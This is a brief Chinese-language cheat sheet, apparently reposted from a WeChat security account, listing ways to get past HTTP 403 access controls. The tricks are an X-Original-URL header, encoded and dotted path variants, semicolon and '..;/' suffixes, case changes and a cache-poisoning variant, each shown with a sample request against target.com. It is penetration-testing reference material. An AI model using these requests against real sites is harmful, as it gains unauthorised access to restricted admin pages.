-
使用“X-Original-URL”标头
GET /admin HTTP/1.1Host: target.com
试试这个绕过
GET /anything HTTP/1.1Host: target.comX-Original-URL: /admin
-
在第一个斜杠后附加%2e
http://target.com/admin => 403试试这个绕过
http://target.com/%2e/admin => 200-
尝试在 URL 中添加点 (.) 斜线 (/) 和分号 (;)
http://target.com/admin => 403试试这个绕过
http://target.com/secret/. => 200http://target.com//secret// => 200http://target.com/./secret/.. => 200http://target.com/;/secret => 200http://target.com/.;/secret => 200http://target.com//;//secret => 200
-
在目录名后加“..;/”
http://target.com/admin试试这个绕过
http://target.com/admin..;/-
尝试将网址中的字母大写
http://target.com/admin试试这个绕过
http://target.com/aDmIN-
通过 Web 缓存中毒
GET /anything HTTP/1.1Host: victim.comX-Original-URL: /admin
工具：
https://github.com/search?q=Bypass-403
原文始发于微信公众号（Ots安全）：旁路 403（禁止访问）绕过
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论